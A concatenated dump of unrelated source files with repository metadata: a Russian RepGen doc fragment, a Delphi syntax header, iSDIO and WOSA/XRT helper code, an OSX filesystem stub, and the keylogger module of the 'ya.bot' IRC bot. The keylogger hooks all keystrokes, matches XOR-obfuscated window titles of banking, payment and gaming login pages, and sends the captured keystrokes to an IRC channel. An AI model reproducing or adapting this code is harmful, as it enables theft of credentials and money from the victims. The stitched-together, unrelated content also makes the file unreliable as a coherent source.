:: [s0;= [*+117 Address]]
:: [s0;= [*+117 E`-mail]]
::b0/15 [s0;= ##BT ##NAME]
:: [s0;= ##SURNAME]
:: [s0;= ##ADDRESS]
:: [s0;= ##EMAIL ##ET]
::t4/15-3 [s0;> TOTAL [*/ ##TOTAL] ADDRESSES]
::t0/15-2 [s0;%- ]
::-1 [s0;%- ]
:: [s0;%- ]}}&]
[s0;= &]
[s0; ]}}&]
[s0; &]
[s0; Для работы с этим шаблоном надо объявить
объект типа [* RepGen].&]
[s0; &]
[s0; Затем Вам нужно создать несколько[*
callback`'ов], которые будут задавать логику
этого отчета и будут производить
подстановку реальных данных.&]
[s0; &]
[s0; Дополнительно Вы должны сделать
[* GUI интерфейс выбора правильного шаблона]
для этого отчета. Но это уже другая
история, В конечном счете в результате
выбора шаблона объект RepGen должен
получить содержимое qtf`-шаблона.&]
[s0; &]
[s0; Справочник [^topic`:`/`/RepGen`/src`/RepGen`$en`-us`#RepGen`:`:class^ з
десь]&]
[s0; &]
[s0; История изменений [^topic`:`/`/RepGen`/srcdoc`/changelog`$en`-us^ з
десь]&]
[s0; &]
[s0; Эта статья на [^topic`:`/`/RepGen`/srcdoc`/RepGen`$en`-us^ Англий
ском]] | 30.584071 | 118 | 0.588542 | dreamsxin |
6bcc99682f3eef97bab2cabf0616f7dc2d12b849 | 1,542 | hpp | C++ | libs/Delphi/src/Syntax/DelphiExceptionHandlerBlockSyntax.hpp | henrikfroehling/interlinck | d9d947b890d9286c6596c687fcfcf016ef820d6b | [
"MIT"
] | null | null | null | libs/Delphi/src/Syntax/DelphiExceptionHandlerBlockSyntax.hpp | henrikfroehling/interlinck | d9d947b890d9286c6596c687fcfcf016ef820d6b | [
"MIT"
] | 19 | 2021-12-01T20:37:23.000Z | 2022-02-14T21:05:43.000Z | libs/Delphi/src/Syntax/DelphiExceptionHandlerBlockSyntax.hpp | henrikfroehling/interlinck | d9d947b890d9286c6596c687fcfcf016ef820d6b | [
"MIT"
] | null | null | null | #ifndef ARGOS_DELPHI_SYNTAX_DELPHIEXCEPTIONHANDLERBLOCKSYNTAX_H
#define ARGOS_DELPHI_SYNTAX_DELPHIEXCEPTIONHANDLERBLOCKSYNTAX_H
#include <string>
#include <argos-Core/Syntax/SyntaxVariant.hpp>
#include <argos-Core/Types.hpp>
#include "Syntax/DelphiExceptionBlockSyntax.hpp"
namespace argos::Delphi::Syntax
{
class DelphiStatementListSyntax;
class DelphiTryElseClauseSyntax;
class DelphiExceptionHandlerBlockSyntax : public DelphiExceptionBlockSyntax
{
public:
DelphiExceptionHandlerBlockSyntax() = delete;
explicit DelphiExceptionHandlerBlockSyntax(const DelphiStatementListSyntax* exceptionHandlers,
const DelphiTryElseClauseSyntax* elseClause = nullptr) noexcept;
~DelphiExceptionHandlerBlockSyntax() noexcept override = default;
const DelphiStatementListSyntax* exceptionHandlers() const noexcept;
const DelphiTryElseClauseSyntax* elseClause() const noexcept;
argos_size childCount() const noexcept final;
Core::Syntax::SyntaxVariant child(argos_size index) const noexcept final;
Core::Syntax::SyntaxVariant first() const noexcept final;
Core::Syntax::SyntaxVariant last() const noexcept final;
std::string typeName() const noexcept override;
bool isExceptionHandlerList() const noexcept final;
private:
const DelphiStatementListSyntax* _exceptionHandlers;
const DelphiTryElseClauseSyntax* _elseClause; // optional
};
} // end namespace argos::Delphi::Syntax
#endif // ARGOS_DELPHI_SYNTAX_DELPHIEXCEPTIONHANDLERBLOCKSYNTAX_H
| 32.808511 | 111 | 0.789235 | henrikfroehling |
6bcf56cc3ccddf2a132c63adffc48a47ade1f1cf | 9,301 | cpp | C++ | Win32.Ya/source/bot/keylog.cpp | 010001111/Vx-Suites | 6b4b90a60512cce48aa7b87aec5e5ac1c4bb9a79 | [
"MIT"
] | 2 | 2021-02-04T06:47:45.000Z | 2021-07-28T10:02:10.000Z | Win32.Ya/source/bot/keylog.cpp | 010001111/Vx-Suites | 6b4b90a60512cce48aa7b87aec5e5ac1c4bb9a79 | [
"MIT"
] | null | null | null | Win32.Ya/source/bot/keylog.cpp | 010001111/Vx-Suites | 6b4b90a60512cce48aa7b87aec5e5ac1c4bb9a79 | [
"MIT"
] | null | null | null | /* ya.bot */
#include "bot.h"
#ifndef NO_KEYLOG
DWORD WINAPI keylog_buffer(LPVOID param)
{
SKeylogInfo s_ki = *((SKeylogInfo *)param);
#ifndef NO_DEBUG
debug_print("[DEBUG] Starting keylog buffer thread, keylog_buffer()");
#endif
while (g_hHook)
{
if (g_bSignature)
{
if (strlen(g_szLog) >= 135)
{
if (!s_ki.m_bSilent)
irc_message(s_ki.m_bsock,
(char *)string_ircprivmsg, s_ki.m_szResultChannel,
(char *)string_keylogsignature,
CGREEN, string_replykeylog, CEND, string_replydotbot,
CBLUE, CEND, g_szLog);
g_hLastFocus = NULL;
memset(g_szLog, 0, sizeof(g_szLog));
}
}
else
{
if (strlen(g_szLog) >= 420)
{
if (!s_ki.m_bSilent)
irc_message(s_ki.m_bsock,
(char *)string_ircprivmsg, s_ki.m_szResultChannel,
(char *)string_keyloglog,
CGREEN, string_replykeylog, CEND, string_replydotbot,
CBLUE, CEND, g_szLog);
g_hLastFocus = NULL;
memset(g_szLog, 0, sizeof(g_szLog));
}
}
Sleep(10);
}
return 0;
}
LRESULT CALLBACK keylog_event(int nCode, WPARAM wParam, LPARAM lParam)
{
char *rgpszSignatures[] =
{
//BF2 (v
"\x8B\x8F\xFB\xE9\xE1\xBF",
//Diablo II
"\x8D\xA0\xA8\xAB\xA5\xA6\xE9\x80\x80",
//e-gold Account Access
"\xAC\xE4\xAE\xA6\xA5\xAD\xE9\x88\xAA\xAA\xA6\xBC\xA7\xBD\xE9\x88\xAA\xAA\xAC\xBA"
"\xBA",
//Google Checkout
"\x8E\xA6\xA6\xAE\xA5\xAC\xE9\x8A\xA1\xAC\xAA\xA2\xA6\xBC\xBD",
//Login - Steam
"\x85\xA6\xAE\xA0\xA7\xE9\xE4\xE9\x9A\xBD\xAC\xA8\xA4",
//NETELLER - Sign In To Your Account
"\x87\x8C\x9D\x8C\x85\x85\x8C\x9B\xE9\xE4\xE9\x9A\xA0\xAE\xA7\xE9\x80\xA7\xE9\x9D"
"\xA6\xE9\x90\xA6\xBC\xBB\xE9\x88\xAA\xAA\xA6\xBC\xA7\xBD",
//Paynova
"\x99\xA8\xB0\xA7\xA6\xBF\xA8",
//PayPal - Login
"\x99\xA8\xB0\x99\xA8\xA5\xE9\xE4\xE9\x85\xA6\xAE\xA0\xA7",
//PayPal - Welcome
"\x99\xA8\xB0\x99\xA8\xA5\xE9\xE4\xE9\x9E\xAC\xA5\xAA\xA6\xA4\xAC",
//PPPay.com - MONEY BY EMAIL - Person to Person Payments Made Simple
"\x99\x99\x99\xA8\xB0\xE7\xAA\xA6\xA4\xE9\xE4\xE9\x84\x86\x87\x8C\x90\xE9\x8B\x90"
"\xE9\x8C\x84\x88\x80\x85\xE9\xE4\xE9\x99\xAC\xBB\xBA\xA6\xA7\xE9\xBD\xA6\xE9\x99"
"\xAC\xBB\xBA\xA6\xA7\xE9\x99\xA8\xB0\xA4\xAC\xA7\xBD\xBA\xE9\x84\xA8\xAD\xAC\xE9"
"\x9A\xA0\xA4\xB9\xA5\xAC",
//regLogin (Western Union)
"\xBB\xAC\xAE\x85\xA6\xAE\xA0\xA7",
//Sign In (Amazon & eBay)
"\x9A\xA0\xAE\xA7\xE9\x80\xA7",
//StormPay.com - The Universal Payment System
"\x9A\xBD\xA6\xBB\xA4\x99\xA8\xB0\xE7\xAA\xA6\xA4\xE9\xE4\xE9\x9D\xA1\xAC\xE9\x9C"
"\xA7\xA0\xBF\xAC\xBB\xBA\xA8\xA5\xE9\x99\xA8\xB0\xA4\xAC\xA7\xBD\xE9\x9A\xB0\xBA"
"\xBD\xAC\xA4",
//World Of Warcraft
"\x9E\xA6\xBB\xA5\xAD\xE9\x86\xAF\xE9\x9E\xA8\xBB\xAA\xBB\xA8\xAF\xBD",
//World Of Warcraft Account Creation
"\x9E\xA6\xBB\xA5\xAD\xE9\x86\xAF\xE9\x9E\xA8\xBB\xAA\xBB\xA8\xAF\xBD\xE9\x88\xAA"
"\xAA\xA6\xBC\xA7\xBD\xE9\x8A\xBB\xAC\xA8\xBD\xA0\xA6\xA7",
NULL
};
BYTE byBuffer[MEDBUF];
char szBuffer[MEDBUF], szCaption[MEDBUF], szChar[4], szLast[MEDBUF];
DWORD dwKey, dwScan;
EVENTMSG eventMsg = *((EVENTMSG*)lParam);
HWND hFocus;
int i, nCount;
WORD wChar;
#ifndef NO_DEBUG
debug_print("[DEBUG] Starting keylog event thread, keylog_event()");
#endif
hFocus = GetActiveWindow();
if (nCode == HC_ACTION)
{
if (eventMsg.message == WM_KEYDOWN)
{
if (g_bSignature)
{
nCount = GetWindowText(hFocus, szCaption, sizeof(szCaption) - 1);
if (lstrcmpi(szCaption, szLast) != 0)
{
for (i = 0; i < ARRAYSIZE(rgpszSignatures); i++)
{
if (!rgpszSignatures[i])
break;
crypto_xor(rgpszSignatures[i], xorkey);
if (stristr(szCaption, rgpszSignatures[i]))
{
if (nCount)
{
_snprintf(szBuffer, sizeof(szBuffer) - 1,
string_keylogcaption,
CBLUE, rgpszSignatures[i], CEND);
strncat(g_szLog,
szBuffer,
(sizeof(g_szLog) - strlen(g_szLog)) - 1);
}
}
crypto_xor(rgpszSignatures[i], xorkey);
}
strncpy(szLast, szCaption, sizeof(szLast) - 1);
}
for (i = 0; i < ARRAYSIZE(rgpszSignatures); i++)
{
if (!rgpszSignatures[i])
break;
crypto_xor(rgpszSignatures[i], xorkey);
if (stristr(szCaption, rgpszSignatures[i]))
{
dwKey = LOBYTE(eventMsg.paramL);
dwScan = (HIBYTE(eventMsg.paramL)) << 16;
nCount = GetKeyNameText(dwScan, szBuffer, sizeof(szBuffer) - 1);
if (nCount == 1)
{
GetKeyboardState(byBuffer);
nCount = ToAsciiEx(dwKey,
dwScan,
byBuffer,
&wChar,
0,
GetKeyboardLayout(0));
_snprintf(szChar, sizeof(szChar) - 1,
string_netutilsfpchar,
wChar);
strncat(g_szLog,
szChar,
(sizeof(g_szLog) - strlen(g_szLog)) - 1);
}
else
{
if (dwKey == VK_SPACE)
{
szBuffer[0] = ' ';
szBuffer[1] = '\0';
strncat(g_szLog,
szBuffer,
(sizeof(g_szLog) - strlen(g_szLog)) - 1);
}
else
{
strncat(g_szLog,
CBLUE,
(sizeof(g_szLog) - strlen(g_szLog)) - 1);
strncat(g_szLog, "[", (sizeof(g_szLog) - strlen(g_szLog)) - 1);
strncat(g_szLog,
CEND,
(sizeof(g_szLog) - strlen(g_szLog)) - 1);
strncat(g_szLog,
szBuffer,
(sizeof(g_szLog) - strlen(g_szLog)) - 1);
strncat(g_szLog,
CBLUE,
(sizeof(g_szLog) - strlen(g_szLog)) - 1);
strncat(g_szLog, "]", (sizeof(g_szLog) - strlen(g_szLog)) - 1);
strncat(g_szLog,
CEND,
(sizeof(g_szLog) - strlen(g_szLog)) - 1);
}
}
}
crypto_xor(rgpszSignatures[i], xorkey);
}
}
else
{
if (g_hLastFocus != hFocus)
{
g_hLastFocus = hFocus;
nCount = GetWindowText(hFocus, szCaption, sizeof(szCaption) - 1);
if (nCount)
{
if (nCount > 32)
{
szCaption[32] = '\0';
strncat(szCaption,
"...\0",
(sizeof(szCaption) - strlen(szCaption)) - 1);
}
_snprintf(szBuffer, sizeof(szBuffer) - 1,
string_keylogcaption,
CBLUE, szCaption, CEND);
strncat(g_szLog, szBuffer, (sizeof(g_szLog) - strlen(g_szLog)) - 1);
}
}
dwKey = LOBYTE(eventMsg.paramL);
dwScan = (HIBYTE(eventMsg.paramL)) << 16;
nCount = GetKeyNameText(dwScan, szBuffer, sizeof(szBuffer) - 1);
if (nCount == 1)
{
GetKeyboardState(byBuffer);
nCount = ToAsciiEx(dwKey,
dwScan,
byBuffer,
&wChar,
0,
GetKeyboardLayout(0));
_snprintf(szChar, sizeof(szChar) - 1, string_netutilsfpchar, wChar);
strncat(g_szLog,
szChar,
(sizeof(g_szLog) - strlen(g_szLog)) - 1);
}
else
{
if (dwKey == VK_SPACE)
{
szBuffer[0] = ' ';
szBuffer[1] = '\0';
strncat(g_szLog, szBuffer, (sizeof(g_szLog) - strlen(g_szLog)) - 1);
}
else
{
strncat(g_szLog, CBLUE, (sizeof(g_szLog) - strlen(g_szLog)) - 1);
strncat(g_szLog, "[", (sizeof(g_szLog) - strlen(g_szLog)) - 1);
strncat(g_szLog, CEND, (sizeof(g_szLog) - strlen(g_szLog)) - 1);
strncat(g_szLog, szBuffer, (sizeof(g_szLog) - strlen(g_szLog)) - 1);
strncat(g_szLog, CBLUE, (sizeof(g_szLog) - strlen(g_szLog)) - 1);
strncat(g_szLog, "]", (sizeof(g_szLog) - strlen(g_szLog)) - 1);
strncat(g_szLog, CEND, (sizeof(g_szLog) - strlen(g_szLog)) - 1);
}
}
}
}
}
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
DWORD WINAPI keylog_main(LPVOID param)
{
BYTE byState[MEDBUF];
HMODULE hModule;
MSG msg;
SKeylogInfo s_ki = *((SKeylogInfo *)param);
#ifndef NO_DEBUG
debug_print("[DEBUG] Starting keylog thread, keylog_main()");
#endif
hModule = GetModuleHandle(NULL);
g_hHook = SetWindowsHookEx(WH_JOURNALRECORD, &keylog_event, hModule, 0);
if (g_hHook)
{
memset(g_szLog, 0, sizeof(g_szLog));
CreateThread(NULL, 0, &keylog_buffer, &s_ki, 0, NULL);
if (g_bSignature)
{
if ((!s_ki.m_bSilent) && (s_ki.m_bVerbose))
irc_message(s_ki.m_bsock, s_ki.m_szAction, s_ki.m_szDestination,
(char *)string_keylogsignaturestarted,
CBLUE, string_replykeylog, CEND, string_replydotbot);
}
else
{
if ((!s_ki.m_bSilent) && (s_ki.m_bVerbose))
irc_message(s_ki.m_bsock, s_ki.m_szAction, s_ki.m_szDestination,
(char *)string_keylogstarted,
CBLUE, string_replykeylog, CEND, string_replydotbot);
}
while (GetMessage(&msg, NULL, 0, 0))
{
if (msg.message == WM_CANCELJOURNAL)
{
SetKeyboardState(byState);
g_hHook = SetWindowsHookEx(WH_JOURNALRECORD, keylog_event, hModule, 0);
if (!g_hHook)
break;
}
DispatchMessage(&msg);
}
}
UnhookWindowsHookEx(g_hHook);
g_hHook = NULL;
g_hLastFocus = NULL;
memset(g_szLog, 0, sizeof(g_szLog));
g_bSignature = FALSE;
if ((!s_ki.m_bSilent) && (s_ki.m_bVerbose))
irc_message(s_ki.m_bsock, s_ki.m_szAction, s_ki.m_szDestination,
(char *)string_keylogfailed,
CRED, string_replykeylog, CEND, string_replydotbot);
thread_remove(THREAD_KEYLOG);
return 0;
}
#endif | 29.526984 | 85 | 0.606709 | 010001111 |
6bcfd640a0e1ecec09b4cded265770aa49c19d34 | 1,787 | cpp | C++ | src/gr_common/arduino/lib/SD/iSdio.cpp | takjn/LiMoRo | df4d2cfc63d8d253e7cdbcf3169668313a77fda9 | [
"MIT"
] | null | null | null | src/gr_common/arduino/lib/SD/iSdio.cpp | takjn/LiMoRo | df4d2cfc63d8d253e7cdbcf3169668313a77fda9 | [
"MIT"
] | null | null | null | src/gr_common/arduino/lib/SD/iSdio.cpp | takjn/LiMoRo | df4d2cfc63d8d253e7cdbcf3169668313a77fda9 | [
"MIT"
] | null | null | null | /* Arduino Sdio Library
* Copyright (C) 2014 by Munehiro Doi, Fixstars Corporation
* All rights reserved.
* Released under the BSD 2-Clause license.
* http://flashair-developers.com/documents/license.html
*/
#include "iSdio.h"
//------------------------------------------------------------------------------
/** specific version for string. it adds padding bytes after text data. */
template <>
uint8_t* put_T(uint8_t* p, const char* value) {
while (*value != 0) {
*p++ = *((uint8_t*)value++);
}
return p;
}
template <>
uint8_t* put_T_arg(uint8_t* p, const char* value) {
uint8_t* orig = p;
p += sizeof(uint32_t); // skip length area.
p = put_T(p, value); // data
uint32_t len = p - orig - sizeof(uint32_t);
put_T(orig, len); // write length.
for (int i = 0; i < ((4 - (len & 3)) & 3); ++i) { // padding
*p++ = 0;
}
return p;
}
uint8_t* put_command_header(uint8_t* p, uint8_t num_commands,
uint32_t command_bytes) {
p = put_u8(p, 0x01); // Write Data ID
p = put_u8(p, num_commands); // Number of commands.
p = put_u16(p, 0); // reserved.
p = put_u32(p, command_bytes); // size of command write data.
p = put_u32(p, 0); // reserved.
return p;
}
uint8_t* put_command_info_header(uint8_t* p, uint16_t command_id,
uint32_t sequence_id, uint16_t num_args) {
p = put_u16(p, 0); // reserved.
p = put_u16(p, command_id); // iSDIO command id.
p = put_u32(p, sequence_id); // iSDIO command sequence id.
p = put_u16(p, num_args); // Number of Arguments.
p = put_u16(p, 0); // Reserved.
return p;
}
| 34.365385 | 81 | 0.531617 | takjn |
6bd11ab17d491d7a6142eaafdbb6f3005039affd | 11,262 | cpp | C++ | Microsoft/SAMPLES/xrt/xrtframe/wosaxrt.cpp | tig/Tigger | 8e06d117a5b520c5fc9e37a710bf17aa51a9958c | [
"MIT",
"Unlicense"
] | 1 | 2021-08-02T01:36:43.000Z | 2021-08-02T01:36:43.000Z | Microsoft/SAMPLES/xrt/xrtframe/wosaxrt.cpp | mdileep/Tigger | 8e06d117a5b520c5fc9e37a710bf17aa51a9958c | [
"MIT",
"Unlicense"
] | null | null | null | Microsoft/SAMPLES/xrt/xrtframe/wosaxrt.cpp | mdileep/Tigger | 8e06d117a5b520c5fc9e37a710bf17aa51a9958c | [
"MIT",
"Unlicense"
] | 1 | 2022-01-04T21:13:01.000Z | 2022-01-04T21:13:01.000Z | // WOSA/XRT XRTFrame Sample Application Version 1.00.007
//
// Copyright (c) 1993 Microsoft Corporation, All Rights Reserved.
//
// WOSAXRT.CPP
//
// Helper routines for allocating and maintaining WOSA/XRT related
// data structures.
//
// Revisions:
// August 18, 1993 cek First implementation.
// Jan 4, 1994 cek Updated to match 1.00.301 spec
//
// Implementation Notes:
//
//
#include "stdafx.h"
#include "windowsx.h"
#include "wosaxrt.h"
DWORD xrtReAlloc( LPMARKETDATA FAR* ppMD, DWORD cb ) ;
DWORD xrtAddValue( LPMARKETDATA FAR* ppMD, LPVARIANT pVar ) ;
#define GMEM_XRT (GMEM_MOVEABLE | GMEM_ZEROINIT)
//-------------------------------------------------------------------------
// MarketData Helpers
//
// Create a new "Market Data (WOSA/XRT)" data stream in
// global memory.
//
LPMARKETDATA WINAPI xrtCreateMarketData( const CLSID FAR* lpclsid, LPMARKETDATA FAR * ppXRT )
{
ASSERT(lpclsid) ;
LPMARKETDATA p ;
if (ppXRT == NULL || *ppXRT == NULL)
{
//TRACE( "Allocating %d using GlobalAllocPtr\r\n", sizeof(MARKETDATA) ) ;
p = (LPMARKETDATA)GlobalAllocPtr( GMEM_XRT, sizeof(MARKETDATA) ) ;
//TRACE( " GlobalSize = %lu\r\n", GlobalSize(GlobalPtrHandle(p)) ) ;
}
else
{
p = (LPMARKETDATA)GlobalReAllocPtr(*ppXRT, sizeof(MARKETDATA), GMEM_XRT ) ;
}
if (p != NULL)
{
p->cbStream = sizeof(MARKETDATA) ;
p->clsID = *lpclsid ;
p->dwStatus = xrtStatusNormal ;
p->dwSubStatus = xrtStatusNormal ;
p->dwVendorData1 = 0xCDCDCDCD ;
p->dwVendorData2 = 0xCDCDCDCD ;
p->dwPropSetOffset = 0 ;
p->dwItemOffset = 0 ;
if (ppXRT != NULL)
*ppXRT = p ;
}
return p ;
}
void WINAPI xrtDestroyMarketData( LPMARKETDATA pMD )
{
ASSERT(pMD) ;
//TRACE( "GlobalFreePtr...\r\n") ;
GlobalFreePtr( pMD ) ;
}
//-------------------------------------------------------------------------
// UpdateItem Helpers
//
LPUPDATEITEM WINAPI xrtFindUpdateItem( LPMARKETDATA FAR* ppMD, DWORD dwID )
{
ASSERT(ppMD) ;
LPMARKETDATA pMD = *ppMD ;
ASSERT(pMD) ;
LPUPDATEITEM pUD = NULL ;
DWORD dwOffset = pMD->dwItemOffset ;
while (dwOffset != NULL)
{
pUD = (LPUPDATEITEM)((BYTE FAR*)pMD + dwOffset) ;
if (pUD->dwRequestID == dwID)
return pUD ;
dwOffset = pUD->dwNext ;
}
return NULL ;
}
LPUPDATEITEM WINAPI xrtAddUpdateItem( LPMARKETDATA FAR* ppMD, DWORD dwID, DWORD dwPropSetID, DWORD cMaxProps )
{
ASSERT(ppMD) ;
LPMARKETDATA pMD = *ppMD ;
ASSERT(pMD) ;
// First find the last UpdateItem
//
LPUPDATEITEM pUpdateItem = NULL ;
for (DWORD dwOffset = pMD->dwItemOffset ; dwOffset != NULL ; dwOffset = pUpdateItem->dwNext)
{
pUpdateItem = (LPUPDATEITEM)((LPBYTE)pMD + dwOffset) ;
}
DWORD dwOld = 0 ;
if (pUpdateItem)
dwOld = (LPBYTE)pUpdateItem - (LPBYTE)*ppMD ;
// Allocate enuf for the UPDATE item including cMaxProps PropID/Value pairs
//
dwOffset = xrtReAlloc( ppMD, sizeof(UPDATEITEM) + (cMaxProps * sizeof(UPDATEITEMPROP)) ) ;
if (dwOffset == 0)
return NULL ;
pMD = *ppMD ; // one less pointer indirection
if (pUpdateItem != NULL)
{
// we found a dataitem set above
// The realloc may have changed the location of the dataitem
pUpdateItem = (LPUPDATEITEM)((LPBYTE)*ppMD + dwOld) ;
pUpdateItem->dwNext = dwOffset ;
}
else
pMD->dwItemOffset = dwOffset ;
LPPROPERTYSET pPS = xrtFindPropertySet( *ppMD, dwPropSetID ) ;
ASSERT(pPS ) ;
DWORD dwPropSetOffset = (LPBYTE)pPS - (LPBYTE)*ppMD ;
// Now point to the new one
pUpdateItem = (LPUPDATEITEM)((LPBYTE)pMD + dwOffset) ;
if (pUpdateItem != NULL)
{
pUpdateItem->dwRequestID = dwID ;
pUpdateItem->cProperties = 0 ;
pUpdateItem->dwNext = 0 ;
pUpdateItem->dwPropertySet = dwPropSetOffset ;
LPUPDATEITEMPROP pUIP = (LPUPDATEITEMPROP)((LPBYTE)pUpdateItem + sizeof(UPDATEITEM)) ;
for (DWORD c = 0 ; c < pUpdateItem->cProperties ; c++)
{
pUIP->dwPropertyID = 0 ;
pUIP->dwValueOffset = 0 ;
pUIP += sizeof(UPDATEITEMPROP) ;
}
}
return pUpdateItem ;
}
BOOL WINAPI xrtAddUpdateItemProperty( LPMARKETDATA FAR* ppMD, LPUPDATEITEM FAR* ppUI, LPVARIANT pVar, DWORD dwPropertyID )
{
ASSERT(ppMD && *ppMD) ;
ASSERT(ppUI && *ppUI) ;
ASSERT(pVar) ;
// Allocate and copy the variant, getting it's offset.
DWORD dwValueOffset ;
DWORD dwOld ;
dwOld = (LPBYTE)*ppUI - (LPBYTE)*ppMD ;
dwValueOffset = xrtAddValue( ppMD, pVar ) ;
ASSERT(dwValueOffset) ;
*ppUI = (LPUPDATEITEM)((LPBYTE)*ppMD + dwOld) ;
//afxDump << "cProps : " << (*ppUI)->cProperties << "\n" ;
// dwPropertyID[n]
LPUPDATEITEMPROP lpUIP = (LPUPDATEITEMPROP)((LPBYTE)*ppUI + sizeof(UPDATEITEM) + (sizeof(UPDATEITEMPROP) * (*ppUI)->cProperties)) ;
lpUIP->dwPropertyID = dwPropertyID ;
//xrtDebugDumpItems( afxDump, *ppMD ) ;
// dwValueOffset[n]
lpUIP->dwValueOffset = dwValueOffset - ((LPBYTE)*ppUI - (LPBYTE)*ppMD) ;
(*ppUI)->cProperties++ ;
return TRUE ;
}
//-------------------------------------------------------------------------
// Property Set Helpers
//
LPPROPERTYSET WINAPI xrtAddPropertySet( LPMARKETDATA FAR* ppMD, DWORD dwID )
{
ASSERT(ppMD) ;
LPMARKETDATA pMD = *ppMD ;
ASSERT(pMD) ;
// First find the last Property Set
//
LPPROPERTYSET pPS = NULL ;
for (DWORD dwOffset = pMD->dwPropSetOffset ; dwOffset != NULL ; dwOffset = pPS->dwNext)
{
pPS = (LPPROPERTYSET)((BYTE FAR*)pMD + dwOffset) ;
}
DWORD dwOldPS = (LPBYTE)pPS - (LPBYTE)*ppMD ;
dwOffset = xrtReAlloc( ppMD, sizeof(PROPERTYSET) ) ;
if (dwOffset == 0)
return NULL ;
pMD = *ppMD ; // one less pointer indirection
if (pPS != NULL)
{
// we found a property set above
// The realloc may have changed the location of the propset
pPS = (LPPROPERTYSET)((LPBYTE)*ppMD + dwOldPS) ;
pPS->dwNext = dwOffset ;
}
else
pMD->dwPropSetOffset = dwOffset ;
// Now point to the new one
pPS = (LPPROPERTYSET)((LPBYTE)pMD + dwOffset) ;
if (pPS != NULL)
{
pPS->dwPropertySetID = dwID ;
pPS->cProperties = 0 ;
pPS->dwNext = 0 ;
}
return pPS ;
}
// Note! It is only possible to add properties to a property set that has just been
// created. In other words, the property set specified by *ppPS must have just
// been created with xrtAddPropertySet.
//
BOOL WINAPI xrtAddProperty( LPMARKETDATA FAR* ppMD, LPPROPERTYSET FAR* ppPS, LPCSTR pszName )
{
ASSERT(ppMD && *ppMD) ;
ASSERT(ppPS && *ppPS) ;
ASSERT(pszName) ;
DWORD dwOldPS = (LPBYTE)*ppPS - (LPBYTE)*ppMD ;
DWORD dwLen = lstrlen( pszName ) + 1 ; // incl. '\0'
DWORD dwOffset = xrtReAlloc( ppMD, sizeof(DWORD) + dwLen) ;
if (dwOffset == 0)
return FALSE ;
*ppPS = (LPPROPERTYSET)((LPBYTE)*ppMD + dwOldPS) ;
// cbName
*(LPDWORD)((LPBYTE)*ppMD + dwOffset) = dwLen ;
dwOffset += + sizeof(DWORD) ;
// szName
lstrcpy( (LPSTR)((LPBYTE)*ppMD + dwOffset), pszName ) ;
char *p = (LPSTR)((LPBYTE)*ppMD + dwOffset) ;
p = NULL ;
(*ppPS)->cProperties++ ;
return TRUE ;
}
LPPROPERTYSET WINAPI xrtFindPropertySet( LPMARKETDATA pMD, DWORD dwID )
{
ASSERT(pMD) ;
LPPROPERTYSET pPS = NULL ;
DWORD dwOffset = pMD->dwPropSetOffset ;
while (dwOffset != NULL)
{
pPS = (LPPROPERTYSET)((BYTE FAR*)pMD + dwOffset) ;
if (pPS->dwPropertySetID == dwID)
return pPS ;
dwOffset = pPS->dwNext ;
}
return NULL ;
}
//-------------------------------------------------------------------------
// Helper helpers
//
DWORD xrtReAlloc( LPMARKETDATA FAR* ppMD, DWORD cb )
{
ASSERT(ppMD) ;
ASSERT(*ppMD) ;
DWORD dwOffsetEnd = (*ppMD)->cbStream ;
(*ppMD)->cbStream += cb ;
// GlobalRealloc does not destroy the original if it fails.
//TRACE( "ReAllocating to %d using GlobalReAllocPtr\r\n", (UINT)(*ppMD)->cbStream ) ;
LPMARKETDATA pMD2 = (LPMARKETDATA)GlobalReAllocPtr(*ppMD, (*ppMD)->cbStream, GMEM_XRT ) ;
//TRACE( " GlobalSize = %lu\r\n", GlobalSize(GlobalPtrHandle(pMD2)) ) ;
ASSERT(pMD2) ;
if (pMD2 == 0)
{
TRACE("GlobalReAlloc failed in xrtReAlloc!\r\n" ) ;
return 0 ;
}
*ppMD = pMD2 ;
return dwOffsetEnd ;
}
DWORD xrtAddValue( LPMARKETDATA FAR* ppMD, LPVARIANT pVar )
{
ASSERT(ppMD) ;
ASSERT(pVar) ;
// Figure out how long it'll be
DWORD cb = sizeof(VARIANT) ;
DWORD cbStr = 0 ;
if (pVar->vt == VT_BSTR)
{
// If it's a BSTR allocate enuf on the end for the DWORD
// count of bytes and the NULL terminated string
//
cbStr = SysStringLen( pVar->bstrVal )+ 1 ;
cb += cbStr + sizeof(DWORD) ;
}
else if (pVar->vt == (VT_VARIANT | VT_BYREF))
{
ASSERT(0) ;
TRACE("Writing properties of properties not yet implemented!\r\n") ;
return 0 ;
}
else if (pVar->vt > VT_BOOL)
{
// Out of our range
TRACE("xrtAddValue called with a bad VARAINT type\r\n") ;
return 0 ;
}
DWORD dwOffset = (*ppMD)->cbStream ;
(*ppMD)->cbStream += cb ;
// GlobalRealloc does not destroy the original if it fails.
//TRACE( "ReAllocating to %d using GlobalReAllocPtr\r\n", (UINT)(*ppMD)->cbStream ) ;
LPMARKETDATA pMD2 = (LPMARKETDATA)GlobalReAllocPtr(*ppMD, (*ppMD)->cbStream, GMEM_XRT ) ;
//TRACE( " GlobalSize = %lu\r\n", GlobalSize(GlobalPtrHandle(pMD2)) ) ;
ASSERT(pMD2) ;
if (pMD2 == 0)
{
TRACE("GlobalReAlloc failed in xrtReAlloc!\r\n" ) ;
return 0 ;
}
*ppMD = pMD2 ;
memcpy( (LPBYTE)pMD2 + dwOffset, pVar, sizeof(VARIANT) ) ;
if (pVar->vt == VT_BSTR)
{
memcpy( (LPBYTE)pMD2 + dwOffset + sizeof(VARIANT), &cbStr, sizeof(cbStr) ) ;
lstrcpy( (LPSTR)(LPBYTE)pMD2 + dwOffset + sizeof(VARIANT) + sizeof(cbStr), pVar->bstrVal ) ;
}
else if (pVar->vt == VT_VARIANT | VT_BYREF)
{
// TODO: Implement
}
return dwOffset ;
}
| 29.481675 | 136 | 0.540845 | tig |
6bd42508483d2604ea5355b1e2e8cb0837ab65f6 | 5,187 | cpp | C++ | common/filesystem/osx/dir.cpp | vlanse/tf | 7dc4291325476254f488116276c67dfffbcf06ac | [
"Apache-2.0"
] | null | null | null | common/filesystem/osx/dir.cpp | vlanse/tf | 7dc4291325476254f488116276c67dfffbcf06ac | [
"Apache-2.0"
] | null | null | null | common/filesystem/osx/dir.cpp | vlanse/tf | 7dc4291325476254f488116276c67dfffbcf06ac | [
"Apache-2.0"
] | null | null | null | #include <common/filesystem.h>
#include <common/string_utils.h>
#include <common/trace.h>
#include <vector>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fts.h>
namespace Filesys
{
const char PATH_SEPARATOR = '/';
namespace
{
